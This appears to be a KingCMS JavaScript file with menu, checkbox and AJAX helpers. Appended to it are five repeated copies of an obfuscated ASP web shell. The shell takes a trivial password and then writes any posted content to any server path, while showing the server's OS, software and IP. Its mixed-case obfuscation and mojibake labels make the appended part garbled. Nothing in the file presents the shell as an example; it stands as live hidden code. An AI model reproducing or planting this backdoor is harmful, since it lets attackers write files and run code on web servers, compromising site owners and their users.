document.write('<div id="flo"></div><div id="aja"></div>');
function cklist(l1){var I1='<input name="list" id="list_'+l1+'" type="checkbox" value="'+l1+'"/>';return I1;};
function menu(){var sfEls = document.getElementById("menu").getElementsByTagName("li");
for (var i=0;i<sfEls.length;i++){sfEls[i].onmouseover=function(){this.className+=(this.className.length>0? " ": "") + "sfhover";}
sfEls[i].onMouseDown=function(){this.className+=(this.className.length>0? " ": "") + "sfhover";}
sfEls[i].onMouseUp=function(){this.className+=(this.className.length>0? " ": "") + "sfhover";}
sfEls[i].onmouseout=function(){this.className=this.className.replace(new RegExp("( ?|^)sfhover\\b"),"");}}}
function check(obj){for (var i=0;i<obj.form.list.length;i++){
if (obj.form.list[i].checked==false){obj.form.list[i].checked=true;}
else{obj.form.list[i].checked=false;}};if (obj.form.list.length==undefined){
if (obj.form.list.checked==false){obj.form.list.checked=true;}else{obj.form.list.checked=false;}}} 
function checkall(obj){for (var i=0;i<obj.form.list.length;i++){obj.form.list[i].checked=true};
if(obj.form.list.length==undefined){obj.form.list.checked=true}}
function checkno(obj){for (var i=0;i<obj.form.list.length;i++){obj.form.list[i].checked=false};
if(obj.form.list.length==undefined){obj.form.list.checked=false}}
function gm(url,id,obj){if (obj.options[obj.selectedIndex].value!=""||obj.options[obj.selectedIndex].value!="-")
{var I1=escape(obj.options[obj.selectedIndex].value);var isconfirm;
if (I1=='delete'){isconfirm=confirm(k_delete);}else{isconfirm=true};
if (I1!='-'){var verbs="submits="+I1+"&list="+escape(getchecked());//选择框提交命令
if (isconfirm){posthtm(url,id,verbs);}}}if(obj.options[obj.selectedIndex].value){obj.options[0].selected=true;}}
function getchecked(){var strcheck;strcheck="";
for(var i=0;i<document.form1.list.length;i++){if(document.form1.list[i].checked){ 
if (strcheck==""){strcheck=document.form1.list[i].value;}
else{strcheck=strcheck+','+document.form1.list[i].value;}}}
if (document.form1.list.length==undefined){if (document.form1.list.checked==true)
{strcheck=document.form1.list.value;}}return strcheck;} 
//load  *** Copyright &copy KingCMS.com All Rights Reserved ***
function load(id)
{
	var doc=document.getElementById(id);
	if (id=='aja'||id=='flo')
		{
			if (id=='aja')
			{//document.body.scrollTop
				var widthaja=(document.documentElement.scrollWidth-680-30)/2;
				doc.style.left=widthaja+'px';
				doc.style.top=(document.documentElement.scrollTop+90)+'px';
				doc.innerHTML='<div id="ajatitle"><span>Loading...</span><img src="'+king_page+'system/images/close.gif" class="os" onclick="display(\'aja\')"/></div><div id="load"><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>Loading...</div>';}
			else
			{
				var widthflo=(document.documentElement.scrollWidth-360-30)/2;
				doc.style.left=widthflo+'px';
				doc.style.top=(document.documentElement.scrollTop+190)+'px';
				doc.innerHTML='<div id="flotitle"><span>Loading...</span><img src="'+king_page+'system/images/close.gif" class="os" onclick="display(\'aja\')"/></div><div id="flomain">Loading...</div>';
			}
		}
	else
		{doc.innerHTML='<img class=""os"" src="'+king_page+'system/images/load.gif"/>';}
}
//posthtm  *** Copyright &copy KingCMS.com All Rights Reserved ***
function posthtm(url,id,verbs,is){//is null or 1
	var doc = document.getElementById(id);
	load(id);
//	doc.innerHTML='<span><img src="image/load.gif"/>Loading...</span>';
	var xmlhttp = false;
	if(doc!=null){
		
		doc.style.visibility="visible";

		if(doc.style.visibility=="visible"){

			xmlhttp=ajax_driv();
			xmlhttp.open("POST", url,true);
			xmlhttp.setRequestHeader("If-Modified-Since","0");
			xmlhttp.onreadystatechange=function(){
				if (xmlhttp.readyState==4){
					if (is||is==null){doc.innerHTML=xmlhttp.responseText;}
					else{var data={};data=eval('('+xmlhttp.responseText+')');doc.innerHTML=data.main;eval(data.js);};
				}
			}
			xmlhttp.setRequestHeader("Content-Length",verbs.length);
			xmlhttp.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");

			xmlhttp.send(verbs);
		}
	}
}
//gethtm  *** Copyright &copy KingCMS.com All Rights Reserved ***
function gethtm(url,id,is){
	var doc = document.getElementById(id);
	load(id);
	var xmlhttp = false;
	if(doc!=null){
		doc.style.visibility="visible";
		if(doc.style.visibility=="visible"){
			xmlhttp=ajax_driv();
			xmlhttp.open("GET", url,true);
			xmlhttp.setRequestHeader("If-Modified-Since","0");
			xmlhttp.onreadystatechange=function() {
				if (xmlhttp.readyState==4) {
					if (is||is==null){doc.innerHTML=xmlhttp.responseText;}else{eval(xmlhttp.responseText);};
				}
			}
			xmlhttp.send(null);
		}
	}
}
//getdom  *** Copyright &copy KingCMS.com All Rights Reserved ***
function getdom(url){
	var xmlhttp = false;
	var I1;
	xmlhttp=ajax_driv();
	xmlhttp.open("GET", url,true);
	xmlhttp.onreadystatechange=function() {
		if (xmlhttp.readyState==4) {
			I1= xmlhttp.responseText;
		}
	}
	xmlhttp.send(null);
	return I1;
}
//display  *** Copyright &copy KingCMS.com All Rights Reserved ***
function display(id){
	var doc = document.getElementById(id);
	if(doc!=null){
		doc.style.visibility="hidden";
	}
}
//ajax_driv  *** Copyright &copy KingCMS.com All Rights Reserved ***
function ajax_driv(){
	var xmlhttp;
	if (window.ActiveXObject){
		/* 不要删除以下注释，这部分不是注释 */
		/*@cc_on @*/
		/*@if (@_jscript_version >= 5)
		try {
		  xmlhttp = new ActiveXObject("Msxml2.xmlhttp");
		} catch (e) {
		  try {
			xmlhttp = new ActiveXObject("Microsoft.xmlhttp");
		  } catch (e) {
			xmlhttp = false;
		  }
		}
		@end @*/
	}else{
		xmlhttp=new XMLHttpRequest();
	}
	if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
	  xmlhttp = new XMLHttpRequest();
	}
	return xmlhttp;
}
//readCookie  *** Copyright &copy KingCMS.com All Rights Reserved ***
function readCookie(l1){//一维数组直接写值即可，二维数组用垂直线分开
	var I1="";
	if (l1.indexOf("|") != -1)
	{//包含垂直线，是二维cookie
		var I2=l1.split("|");
		var I3=i_readCookie(I2[0],document.cookie);
		I1=i_readCookie(I2[1],I3);
	}
	else
	{//一维数组
		if (document.cookie.length >0 )
		{
		I1=i_readCookie(l1,document.cookie)
		}
	
	}
	return I1;
		
}  
//i_readCookie  *** Copyright &copy KingCMS.com All Rights Reserved ***
function i_readCookie(l1,l2){
	var cookieValue = ""; 
	var search = l1 + "="; 
		if(l2.length > 0) { 
		offset = l2.indexOf(search); 
			if (offset != -1) { 
				offset += search.length; 
				end = l2.indexOf(";", offset); 
				if (end == -1) end = l2.length; 
				cookieValue = unescape(l2.substring(offset, end))
			} 
		}
	return cookieValue; 

}
 <%
on Error rEsumE next
%>
<%
if rEquEst("pass")=" " Then 
session("pW")="go"
end If
%>
<%If sessioN("pw")<>"go" theN %>
<%="<center><br><form action='' method='Post'>"%>
<%="<inPut name='pass' tyPe='Password' sIze='10'> <Input "%>
<%="Type='submiT' value='������½'></Center>"%>
<%else%>
<%
set fsO=server.createObject("scripting.filesystemObject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.crEatEtExtfilE(path,truE)
da.writE daTa
if eRR=0 Then
%>
<%="�ϴ��ɹ�"%>
<%else%>
<%="�ϴ�ʧ��"%>
<%
end if
err.clear
eNd if
da.cloSe
%>
<%Set da=nothinG%>
<%set fos=nothing%>
<%="<form acTion='' method=post>"%>
<%="<input typE=tExt name=paTh>"%>
<%="<br>"%>
<%="��ǰ�ļ�·��:"&server.mappaTh(requesT.servervariables("scripT_name"))%>
<%="<br>"%>
<%="����ϵͳΪ:"&RequesT.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB�������汾Ϊ:"&RequesT.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="��������IPΪ:"&RequesT.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<TexTarea nAme=dA Cols=50 Rows=10 widTh=30></TexTarea>"%>
<%="<br>"%>
<%="<inpuT tYpe=submit value=save>"%>
<%="</form>"%>
<%end If%>
 <%
on eRRoR resuMe next
%>
<%
iF request("Pass")=" " thEn 
session("pw")="go"
enD if
%>
<%if session("pw")<>"go" tHen %>
<%="<cEntEr><br><form actIon='' method='post'>"%>
<%="<input name='pass' type='passworD' size='10'> <inpUt "%>
<%="type='submIt' value='������½'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if paTh<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
If Err=0 then
%>
<%="�ϴ��ɹ�"%>
<%else%>
<%="�ϴ�ʧ��"%>
<%
end if
eRR.cleaR
end if
da.closE
%>
<%sEt da=noThing%>
<%seT fos=nothing%>
<%="<form action='' meThod=posT>"%>
<%="<inpuT tyPe=text name=path>"%>
<%="<br>"%>
<%="��ǰ�ļ�·��:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="����ϵͳΪ:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB�������汾Ϊ:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="��������IPΪ:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea name=da colS=50 rowS=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=sUbmit value=save>"%>
<%="</form>"%>
<%end iF%>
 <%
on eRRoR Resume next
%>
<%
if request("pass")=" " theN 
sessiOn("pw")="gO"
end if
%>
<%if SeSSion("pw")<>"go" thEn %>
<%="<center><br><Form action='' meThod='posT'>"%>
<%="<inpuT name='paSS' typE='password' size='10'> <input "%>
<%="type='submit' value='������½'></center>"%>
<%else%>
<%
set fso=server.createobject("scrIptIng.fIlesystemobject")
path=request("path")
If path<>"" Then
daTa=requesT("da")
seT da=fsO.createtextfile(path,true)
da.write dAtA
if eRR=0 then
%>
<%="�ϴ��ɹ�"%>
<%else%>
<%="�ϴ�ʧ��"%>
<%
end if
eRR.cleaR
end if
dA.close
%>
<%set da=noThing%>
<%seT fos=nothing%>
<%="<foRm Action='' method=post>"%>
<%="<input Type=TexT name=path>"%>
<%="<br>"%>
<%="��ǰ�ļ�·��:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="����ϵͳΪ:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB�������汾Ϊ:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="��������IPΪ:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea nAme=dA cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input Type=submiT value=save>"%>
<%="</foRm>"%>
<%end if%>
 <%
on eRRoR Resume next
%>
<%
if request("pass")=" " theN 
session("pw")="go"
end if
%>
<%if sessIon("pw")<>"go" thEn %>
<%="<centeR><bR><foRm action='' methOd='pOst'>"%>
<%="<input name='paSS' type='password' size='10'> <Input "%>
<%="type='submit' value='������½'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" tHen
data=request("da")
set da=fso.cReatetextfile(path,tRue)
da.wRite dAtA
if eRR=0 then
%>
<%="�ϴ��ɹ�"%>
<%else%>
<%="�ϴ�ʧ��"%>
<%
end if
err.clear
end if
da.Close
%>
<%set da=notHing%>
<%set fos=nothing%>
<%="<forM aCtion='' method=post>"%>
<%="<input Type=TexT name=path>"%>
<%="<br>"%>
<%="��ǰ�ļ�·��:"&Server.mappath(requeSt.ServervariableS("Script_name"))%>
<%="<br>"%>
<%="����ϵͳΪ:"&RequeSt.ServerVariableS("OS")%>
<%="<br>"%>
<%="WEB�������汾Ϊ:"&RequeSt.ServerVariableS("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="��������IPΪ:"&RequeSt.ServerVariableS("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea Name=da cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<iNput Type=submiT value=save>"%>
<%="</form>"%>
<%end if%>
 <%
on Error rEsumE next
%>
<%
if rEquEst("pass")=" " Then 
session("pw")="go"
end If
%>
<%If session("pw")<>"go" theN %>
<%="<center><br><form action='' methOd='pOst'>"%>
<%="<input Name='pass' tyPe='Password' sIze='10'> <iNput "%>
<%="Type='submiT' valuE='������½'></cEntEr>"%>
<%ElsE%>
<%
sEt fso=server.createobJect("scripting.filesystemobJect")
path=request("path")
if path<>"" then
Data=request("Da")
set da=fso.crEatEtExtfilE(path,truE)
da.writE dAtA
if eRR=0 tHen
%>
<%="�ϴ��ɹ�"%>
<%else%>
<%="�ϴ�ʧ��"%>
<%
end if
err.clear
eNd if
da.closE
%>
<%sEt da=nothinG%>
<%set fos=nothing%>
<%="<form acTion='' method=post>"%>
<%="<input type=teXt name=path>"%>
<%="<bR>"%>
<%="��ǰ�ļ�·��:"&seRveR.mappath(Request.seRveRvaRiables("scRipt_name"))%>
<%="<bR>"%>
<%="����ϵͳΪ:"&Request.SeRveRVaRiables("OS")%>
<%="<bR>"%>
<%="WEB�������汾Ϊ:"&Request.SeRveRVaRiables("SERVER_SOFTWARE")%>
<%="<bR>"%>
<%="��������IPΪ:"&Request.SeRveRVaRiables("LOCAL_ADDR")%>
<%="<bR>"%>
<%=""%>
<%="<textaRea nAme=dA Cols=50 Rows=10 widtH=30></textarea>"%>
<%="<br>"%>
<%="<input tyPe=submit value=save>"%>
<%="</form>"%>
<%end If%>